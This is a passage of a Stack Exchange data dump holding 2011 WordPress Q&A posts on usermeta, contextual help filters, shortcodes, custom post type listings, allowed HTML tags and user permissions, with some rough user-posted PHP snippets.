$wpdb-&amp;gt;insert( $wpdb-&amp;gt;users, $data );&#xA;    $user_id = (int) $wpdb-&amp;gt;insert_id;&#xA;&#xA;    wp_cache_delete($user_id, 'users');&#xA;    wp_cache_delete($user_login, 'userlogins');&#xA;&#xA;    do_action('user_register', $user_id);&#xA;&#xA;    return $user_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I stop it? I came across &lt;a href=&quot;http://old.nabble.com/Remove-useless-usermeta-td29911983.html&quot; rel=&quot;nofollow&quot;&gt;this discussion on mailing list&lt;/a&gt; where it says that its not possible to stop them, best one could do is to delete them after creation. Can anyone tell me where this is happening? And if its still the same case?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-06-19T01:49:45.470" Title="Stop WordPress useless usermeta from filling up DB" Tags="&lt;usermeta&gt;" />
  <row Id="20386" PostTypeId="2" ParentId="6236" CreationDate="2011-06-19T01:55:32.283" Score="-1" ViewCount="" Body="&lt;p&gt;i think some &lt;a href=&quot;http://hostguts.com&quot; rel=&quot;nofollow&quot;&gt;managed wordpress companies&lt;/a&gt; like hostguts , page.ly doing like this.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastActivityDate="2011-06-19T01:55:32.283" CommentCount="1" />
  <row Id="20387" PostTypeId="1" CreationDate="2011-06-19T03:31:17.703" Score="0" ViewCount="92" Body="&lt;p&gt;If you go to the WP main Dashboard page, the screen options allow you to have 1-4 columns for the screen layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get to the Add/Edit Post/Page pages (/wp-admin/post-new.php and /wp-admin/post-new.php?post_type=page), the max columns you get to pick is only 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For someone who has several custom taxonomies, fields and meta boxes, it would be really useful if I could choose maybe 3 or 4 columns instead of having to scroll down each time to select from custom options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is possible, please point me. I would be very, very grateful! I've searched and found nothing on this.&lt;/p&gt;&#xA;" OwnerUserId="6311" LastActivityDate="2011-06-19T03:31:17.703" Title="Multiple columns in add/edit post/page?" Tags="&lt;dashboard&gt;&lt;columns&gt;&lt;screen-options&gt;" CommentCount="2" />
  <row Id="20388" PostTypeId="2" ParentId="20384" CreationDate="2011-06-19T03:37:25.290" Score="0" ViewCount="" Body="&lt;p&gt;In order to not delete help from all other screens, you need to always return the contextual help text, otherwise your filter doesn't return anything for non-page/post screens and so nothing will show up. Move the return to the bottom of the function, outside of your if/else. Also, the original contextual help is being concatenated to the end of your custom message, so move it to the front to have your text put at the bottom. Thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myprefix_page_help($contextual_help, $screen_id, $screen) {&#xA;&#xA;  if ($screen_id == 'page') {&#xA;    $contextual_help = $contextual_help.'&#xA;    &amp;lt;h5&amp;gt;Shortcodes&amp;lt;/h5&amp;gt;&#xA;    &amp;lt;p&amp;gt;Shortcodes help&amp;lt;/p&amp;gt;';&#xA;  }&#xA;&#xA;  elseif ($screen_id == 'post') {&#xA;    $contextual_help = $contextual_help.'&#xA;    &amp;lt;h5&amp;gt;Post help&amp;lt;/h5&amp;gt;&#xA;    &amp;lt;p&amp;gt;Help is on its way!&amp;lt;/p&amp;gt;';&#xA;  }&#xA;&#xA;  return $contextual_help;&#xA;}       &#xA;&#xA;add_filter('contextual_help', 'myprefix_page_help', 10, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-06-20T12:03:33.500" LastActivityDate="2011-06-20T12:03:33.500" CommentCount="4" />
  <row Id="20389" PostTypeId="1" CreationDate="2011-06-19T04:29:04.753" Score="0" ViewCount="53" Body="&lt;p&gt;I'm working with a shortcode &lt;code&gt;[translate lang=eng]Apple[/translate]&lt;/code&gt; which will be shown only if the &quot;current language&quot; is &lt;code&gt;eng&lt;/code&gt;. If the post contains, in addition to the above, the declaration &lt;code&gt;[translate lang=rus]Яаблоко[/translate]&lt;/code&gt; and the current language is neither &lt;code&gt;rus&lt;/code&gt; nor &lt;code&gt;eng&lt;/code&gt;, neither of &lt;code&gt;Яаблоко&lt;/code&gt; or &lt;code&gt;Apple&lt;/code&gt; is printed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My objective is to print the message in the default language when current language does not match that of the &lt;code&gt;[translate lang]&lt;/code&gt; attribute. This implies that the message (in the default language) will be printed as many times as &lt;code&gt;[translate]&lt;/code&gt; is used in the post, but that's for me to worry about...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to know is if there is a &lt;code&gt;get_shortcodes()&lt;/code&gt; function what will give me an &lt;code&gt;array&lt;/code&gt; (or whatever) of all shortcodes in the post. Would I have to parse the post with regex if not? Do you have better suggestions?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please refrain from telling me about &quot;superior&quot; translation plugins.&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="6248" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-19T13:53:56.900" LastActivityDate="2011-08-28T21:36:13.353" Title="Is there a straight-forward way to iterate over all shortcodes in a post?" Tags="&lt;posts&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="20390" PostTypeId="2" ParentId="20369" CreationDate="2011-06-19T04:58:32.430" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$yesterday = array ( &#xA;    'year' =&amp;gt; date('y'), &#xA;    'month' =&amp;gt; date('m'), &#xA;    'day' =&amp;gt; date('d')-1 &#xA;);&#xA;&#xA;$rows = $wpdb-&amp;gt;query($wpdb-&amp;gt;prepare(*emphasized text*&#xA;    &quot;SELECT id, yymmdd &#xA;    FROM plugin_data &#xA;    WHERE yymmdd LIKE '%d-%d-%d&quot;, &#xA;    $yesterday['year'], $yesterday['month'], $yesterday['day']&#xA;));&#xA;&#xA;foreach ( $rows as $r ) {&#xA;    $id_for_yesterday_rows[]= $r-&amp;gt;id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have all ids or rows that were submitted yesterday in an array. &lt;/p&gt;&#xA;" OwnerUserId="6248" LastActivityDate="2011-06-19T04:58:32.430" />
  <row Id="20391" PostTypeId="2" ParentId="1507" CreationDate="2011-06-19T05:41:05.417" Score="0" ViewCount="" Body="&lt;p&gt;In addition to the above, you need to lock down access to the various &lt;code&gt;wp*&lt;/code&gt; files and directories. If someone wanted to see if you were running WP they could guess to see if you had &lt;code&gt;wp-settings.php&lt;/code&gt; or if they could access some directory. Returning a 403 isn't sufficient because it tells the user that the resource exists; they just don't have access to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not an apache expert so I asked &lt;a href=&quot;http://serverfault.com/questions/281881/how-do-i-obscure-my-wordpress-install-via-htaccess&quot;&gt;this question&lt;/a&gt; over on serverfault.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-06-19T05:41:05.417" />
  <row Id="20392" PostTypeId="1" AcceptedAnswerId="20394" CreationDate="2011-06-19T05:54:05.803" Score="0" ViewCount="28" Body="&lt;p&gt;I currently have a new custom post type-- &quot;Books.&quot; I have a custom rewrite url that I set when registering my post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'books', 'with_front' =&amp;gt; false )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works great when I visit a specific post, but how do I take control of the /books url for displaying a list of ALL of the books by date posted?&lt;/p&gt;&#xA;" OwnerUserId="6167" LastActivityDate="2011-06-19T07:20:14.990" Title="Displaying Posts of a Custom Type" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="20393" PostTypeId="1" AcceptedAnswerId="20419" CreationDate="2011-06-19T07:11:47.323" Score="-1" ViewCount="51" Body="&lt;p&gt;I was thinking of adding the following lines of code to my &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Change the default list of allowed html tags&#xA; */&#xA;add_action('init', 'edittag', 10);&#xA;&#xA;function edittag() {&#xA;  define('CUSTOM_TAGS', true);&#xA;  global $allowedposttags, $allowedtags;&#xA;  $allowedposttags = array(&#xA;      'strong' =&amp;gt; array(),&#xA;      'em' =&amp;gt; array(),&#xA;      'ol' =&amp;gt; array(),&#xA;      'li' =&amp;gt; array(),&#xA;      'u' =&amp;gt; array(),&#xA;      'ul' =&amp;gt; array(),&#xA;      'blockquote' =&amp;gt; array(),&#xA;      'code' =&amp;gt; array(),&#xA;      'pre' =&amp;gt; array(),&#xA;      'a' =&amp;gt; array(&#xA;        'href' =&amp;gt; array (),&#xA;        'title' =&amp;gt; array ()),&#xA;      'img' =&amp;gt; array(&#xA;        'src' =&amp;gt; array ()),&#xA;  );&#xA;&#xA;  $allowedtags = array(&#xA;      'strong' =&amp;gt; array(),&#xA;      'em' =&amp;gt; array(),&#xA;      'ol' =&amp;gt; array(),&#xA;      'li' =&amp;gt; array(),&#xA;      'u' =&amp;gt; array(),&#xA;      'ul' =&amp;gt; array(),&#xA;      'blockquote' =&amp;gt; array(),&#xA;      'code' =&amp;gt; array(),&#xA;      'pre' =&amp;gt; array(),&#xA;      'a' =&amp;gt; array(&#xA;        'href' =&amp;gt; array (),&#xA;        'title' =&amp;gt; array ()),&#xA;      'img' =&amp;gt; array(&#xA;        'src' =&amp;gt; array ()),&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The user will be able to add stuff using the &lt;a href=&quot;http://premiumsoftware.net/cleditor/&quot; rel=&quot;nofollow&quot;&gt;CLEditor&lt;/a&gt; (WYSIWYG editor, so the user can't see the code), and the form belongs to the &lt;a href=&quot;http://bbpress.org/&quot; rel=&quot;nofollow&quot;&gt;bbPress&lt;/a&gt; plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/OIUkb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if my site will become vulnerable to spam, hackers, cracker, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case, what's an easy way of making this stuff more secure?&#xA;&lt;strong&gt;EDIT:&lt;/strong&gt; If I use Firebug I can see the actual HTML code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, this is what you see if you inspect a bold text (in Firefox):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;b _moz_dirty=&quot;&quot;&amp;gt;sd&amp;lt;/b&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Not sure if this is dangerous).&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-06-19T07:17:57.880" LastActivityDate="2011-06-19T13:44:40.813" Title="Will my Wordpress site become vulnerable after adding this functions which allows more HTML tags for subscribers?" Tags="&lt;functions&gt;&lt;security&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="20394" PostTypeId="2" ParentId="20392" CreationDate="2011-06-19T07:20:14.990" Score="2" ViewCount="" Body="&lt;p&gt;Once way of doing it - I am sure there are other ways too - is to make a page template for books: books.php&#xA;You can make a copy of page.php and rename it.&#xA;In the top of the file you place the usual Page Template code as in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* &#xA;Template Name: Books&#xA;*/&#xA;get_header(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below the normal loop, you then place the code for a new loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'books') ); ?&amp;gt;&#xA;    &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to close it with the call for &lt;code&gt;&amp;lt;?php endwhile; ?&amp;gt;&lt;/code&gt; at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this method you can within WordPress add a Page called Books and assign this particular Template to it. This way you can still add general text to the page too and below display the list of all books.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-19T07:20:14.990" CommentCount="1" />
  <row Id="20395" PostTypeId="1" AcceptedAnswerId="22289" CreationDate="2011-06-19T08:02:10.043" Score="1" ViewCount="115" Body="&lt;p&gt;For some reason, one of my top posts as reported by &lt;a href=&quot;http://wordpress.org/extend/plugins/stats/&quot; rel=&quot;nofollow&quot; title=&quot;WordPress Stats&quot;&gt;WordPress Stats&lt;/a&gt; is actually non-existent...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I see is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;#2147483647 (loading title) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and it links to &quot;...?p=2147483647&quot; which returns a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a bit of background info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm actually using the following permalink settings: &lt;strong&gt;/%category%/%postname%/&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Stats for other posts seem to be fine&lt;/li&gt;&#xA;&lt;li&gt;I migrated from tumblr to WordPress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The odd thing is looking into the database where the posts are stored I can not find any reference to that particular ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I appear to have several 'duplicates' of posts in the database - the difference being in a couple of fields (I'm guessing versioning or something?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've googled a bit, and the closest I've seem to come is: &lt;a href=&quot;http://wordpress.org/support/topic/solution-for-id-loading-title-coming-back-from-stats_get_csv-function&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/solution-for-id-loading-title-coming-back-from-stats_get_csv-function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that seems to assume that the ID actually exists, but WordPress/WordPressStats is just for some reason unable to get the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know why WordPress Stats is listing this non-existent page? (It comes #2 in all time top posts!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6315" LastActivityDate="2011-07-07T23:18:28.560" Title="WordPress Stats keeps showing non-existent post as a top post?" Tags="&lt;404-error&gt;&lt;stats&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="20396" PostTypeId="1" AcceptedAnswerId="20399" CreationDate="2011-06-19T08:59:20.673" Score="0" ViewCount="35" Body="&lt;p&gt;I got error of &quot;Call a member function embed() on a non-object&quot;, but I can see the result of var_dump is an object. Please help evaluate the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the Class to create a picture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class Picture{&#xA;//....&#xA;function embed() {...}&#xA;//....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the Class for template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class Picture_Template{&#xA;$obj_id = $post-&amp;gt;ID;&#xA;$pic = New Picture( $obj_id );&#xA;$this-&amp;gt;obj = $pic;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a function to test the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function test_picture(){&#xA;global $pic_template;&#xA;$pic_template = new Picture_Template();&#xA;$obj =$pic_template-&amp;gt;obj;&#xA;$obj_func =$obj-&amp;gt;embed();&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;var_dump( $obj ); // I can see it is an object&#xA;var_dump( $obj_func ); // I can see the embed() function output correct result&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the function that get the error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function play_button(){&#xA;echo get_play_button();&#xA;}&#xA;&#xA;function get_play_button(){&#xA;global $pic_template;&#xA;if (!$obj )&#xA; $obj =&amp;amp; $pic_template-&amp;gt;obj;&#xA;if ( $obj-&amp;gt;embed(){&#xA;//do something&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-06-19T09:37:13.857" Title="Error of &quot;Call a member function on non object&quot; while var_dump get correct result" Tags="&lt;object&gt;" AnswerCount="1" />
  <row Id="20397" PostTypeId="1" CreationDate="2011-06-19T09:03:00.333" Score="5" ViewCount="83" Body="&lt;p&gt;Today I got a bunch of messages for many of my sites in Google Webmaster Tools telling me I dont have the latest version of Wordpress and should update.  However I have 3.13 up, I dont see any updates on the wordpress page or within my site and 3.2 is there but its still in BETA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the deal?&lt;/p&gt;&#xA;" OwnerUserId="5825" LastEditorUserId="2275" LastEditorDisplayName="" LastEditDate="2011-06-22T04:53:55.027" LastActivityDate="2011-06-22T04:53:55.027" Title="Why is google telling me to upate wordpress" Tags="&lt;updates&gt;&lt;webmaster&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20398" PostTypeId="1" CreationDate="2011-06-19T09:33:06.297" Score="1" ViewCount="84" Body="&lt;p&gt;I have installed jw player plugin so that users of my site could upload their videos. Right now, admin can only see jw player menu on the admin panel and he can only upload videos and use this plugin. I have created an author as author is able to add/edit/delete his posts. My problem is author cannot see and use this jw player plugin as he does not see that admin menu of this plugin. anybody tell me please how to assign more permissions to Wordpress Author so that he could see this plugin Menu and use it,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="6316" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-19T13:27:28.133" LastActivityDate="2011-06-20T07:38:49.590" Title="how to assign more permission to wordpress author" Tags="&lt;menus&gt;&lt;author&gt;&lt;user-roles&gt;&lt;capability&gt;&lt;access&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="20399" PostTypeId="2" ParentId="20396" CreationDate="2011-06-19T09:37:13.857" Score="1" ViewCount="" Body="&lt;p&gt;To me it seems &lt;code&gt;Picture_Template&lt;/code&gt; is worthless - it's not even correctly formed (you need to place run-time code in a &lt;a href=&quot;http://php.net/manual/en/language.oop5.decon.php&quot; rel=&quot;nofollow&quot;&gt;constructor&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus you also seem to lack the basic understanding of &lt;a href=&quot;http://php.net/manual/en/language.variables.scope.php&quot; rel=&quot;nofollow&quot;&gt;variable scope&lt;/a&gt; (like accessing &lt;code&gt;$post&lt;/code&gt; and &lt;code&gt;$obj&lt;/code&gt; within functions and classes, without globalising them first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I think you're trying to do;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function test_picture()&#xA;{    &#xA;    $picture = new Picture( get_the_ID() );&#xA;    $picture_result = $picture-&amp;gt;embed();&#xA;&#xA;    /* debugging */&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    var_dump( $picture );&#xA;    var_dump( $picture_result );&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;&#xA;function play_button()&#xA;{&#xA;    echo get_play_button();&#xA;}&#xA;&#xA;function get_play_button()&#xA;{&#xA;    $picture = new Picture( get_the_ID() );&#xA;&#xA;    if ( $embed = $picture-&amp;gt;embed() ) {&#xA;        // do something &amp;amp; return something&#xA;    }&#xA;&#xA;    return null; // return nothing if embed failed&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-19T09:37:13.857" CommentCount="1" />
  <row Id="20400" PostTypeId="2" ParentId="20313" CreationDate="2011-06-19T10:09:46.817" Score="0" ViewCount="" Body="&lt;p&gt;use the comments_array filter, and remove the unnecessary comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some loose code to get you started&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('comments_array','display_only_user_comments')&#xA;function display_only_user_comments($comments){&#xA;    $comemnts=NULL;&#xA;    /*modify this part to get only user comments*/&#xA;    if ( $user_ID) {&#xA;              $comments = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;comments WHERE comment_post_ID = %d AND (comment_approved = '1' OR ( user_id = %d AND comment_approved = '0' ) )  ORDER BY comment_date_gmt&quot;, $post-&amp;gt;ID, $user_ID));&#xA;        } else if ( empty($comment_author) ) {&#xA;                $comments = get_comments( array('post_id' =&amp;gt; $post-&amp;gt;ID, 'status' =&amp;gt; 'approve', 'order' =&amp;gt; 'ASC') );&#xA;       } else {&#xA;                $comments = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;comments WHERE comment_post_ID = %d AND ( comment_approved = '1' OR ( comment_author = %s AND comment_author_email = %s AND comment_approved = '0' ) ) ORDER BY comment_date_gmt&quot;, $post-&amp;gt;ID, wp_specialchars_decode($comment_author,ENT_QUOTES), $comment_author_email));&#xA;&#xA;    }&#xA;&#xA;    return $comments;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2193" LastEditorUserId="4740" LastEditorDisplayName="" LastEditDate="2011-08-01T06:26:42.823" LastActivityDate="2011-08-01T06:26:42.823" CommentCount="1" />
  <row Id="20401" PostTypeId="2" ParentId="20279" CreationDate="2011-06-19T10:52:14.843" Score="0" ViewCount="" Body="&lt;p&gt;I managed to work on it a little more and built the answer myself. Heres the code i needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $parent_terms = get_terms('section', 'orderby=name&amp;amp;hide_empty=0&amp;amp;parent=0');&#xA;    foreach ( $parent_terms as $parent_term ) { ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;accordian open&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;accordian-title module-gradient&quot;&amp;gt;&amp;lt;?php echo $parent_term-&amp;gt;name; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php &#xA;            $get_parent = get_term_by('name', $parent_term-&amp;gt;name, 'section');&#xA;            $parent_id = $get_parent-&amp;gt;term_id;&#xA;            $child_terms = get_terms('section', 'orderby=name&amp;amp;hide_empty=0&amp;amp;parent='.$parent_id);&#xA;&#xA;            if ( count($child_terms) &amp;gt; 0 ) { ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;accordian-menu&quot;&amp;gt;&#xA;                &amp;lt;?php foreach ( $child_terms as $child_term ) { ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;accordian-item&quot;&amp;gt;&#xA;                       &amp;lt;?php echo $child_term-&amp;gt;name; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-06-19T10:52:14.843" />
  <row Id="20402" PostTypeId="2" ParentId="15141" CreationDate="2011-06-19T11:59:22.003" Score="0" ViewCount="" Body="&lt;p&gt;This should be fairly simple to execute, using two calls to &lt;code&gt;wp_list_pages()&lt;/code&gt;, and appropriate variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the primary (i.e. top-level) navigation menu, simply use the &lt;code&gt;depth&lt;/code&gt; argument, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages( array(&#xA;     // display only top-level hierarchy&#xA;     'depth' =&amp;gt; 1&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output a menu of all top-hierarchical-level Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the secondary (i.e. child-page) navigation menu, simply grab the ID of the current Page, and pass it as the &lt;code&gt;child_of&lt;/code&gt; argument. This requires setting a variable to the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; from &lt;em&gt;inside&lt;/em&gt; the Loop, so that it is available &lt;em&gt;outside&lt;/em&gt; of the Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. inside the Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent_page = get_the_ID();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then outside the Loop, for your child-page navigation menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages( array(&#xA;     // display all hierarchical levels&#xA;     'depth' =&amp;gt; 0,&#xA;     // only children of the current Page&#xA;     'child_of' =&amp;gt; $parent_page&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only caveat is that this child-page menu must come &lt;em&gt;after&lt;/em&gt; the Loop, or else you will need to make an initial pass through the Loop, find the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt;, and then &lt;code&gt;rewind_posts()&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; the Loop.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-19T11:59:22.003" />
  <row Id="20403" PostTypeId="2" ParentId="17748" CreationDate="2011-06-19T12:05:32.437" Score="0" ViewCount="" Body="&lt;p&gt;I think you need to use &lt;code&gt;depth=1&lt;/code&gt; rather than &lt;code&gt;depth=2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are specifying, via the &lt;code&gt;child_of&lt;/code&gt; argument, that you want to display &lt;em&gt;children of the current Page's parent Page&lt;/em&gt;. That means that the first level of hierarchy is the current Page (and any of its siblings). The &lt;em&gt;second&lt;/em&gt; level of hierarchy would be &lt;em&gt;child&lt;/em&gt; pages of the current Page (and of any of the current Page's siblings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, give &lt;code&gt;depth=1&lt;/code&gt; a try.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-19T12:05:32.437" />
  <row Id="20404" PostTypeId="2" ParentId="14999" CreationDate="2011-06-19T12:30:59.780" Score="0" ViewCount="" Body="&lt;p&gt;The correct way to handle this is to use WP's admin-ajax.php file, instead of your own. See this Codex page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins#Ajax_on_the_Viewer-Facing_Side&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins#Ajax_on_the_Viewer-Facing_Side&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of putting the code in a plugin, just put it in your functions.php file.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-19T12:30:59.780" />
  <row Id="20405" PostTypeId="5" CreationDate="2011-06-19T12:34:06.800" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:34:06.800" LastActivityDate="2011-06-19T12:34:06.800" />
  <row Id="20406" PostTypeId="4" CreationDate="2011-06-19T12:34:06.800" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:34:06.800" LastActivityDate="2011-06-19T12:34:06.800" />
  <row Id="20407" PostTypeId="5" CreationDate="2011-06-19T12:35:21.400" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:35:21.400" LastActivityDate="2011-06-19T12:35:21.400" />
  <row Id="20408" PostTypeId="4" CreationDate="2011-06-19T12:35:21.400" Score="0" ViewCount="" Body="Cascading Style Sheets (CSS) is a style sheet language used to describe the presentation semantics (the look and formatting) of Wordpress, usually via Themes" OwnerUserId="-1" LastEditorUserId="4153" LastEditorDisplayName="" LastEditDate="2011-06-19T14:45:47.867" LastActivityDate="2011-06-19T14:45:47.867" />
  <row Id="20409" PostTypeId="5" CreationDate="2011-06-19T12:37:08.933" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:37:08.933" LastActivityDate="2011-06-19T12:37:08.933" />
  <row Id="20410" PostTypeId="4" CreationDate="2011-06-19T12:37:08.933" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:37:08.933" LastActivityDate="2011-06-19T12:37:08.933" />
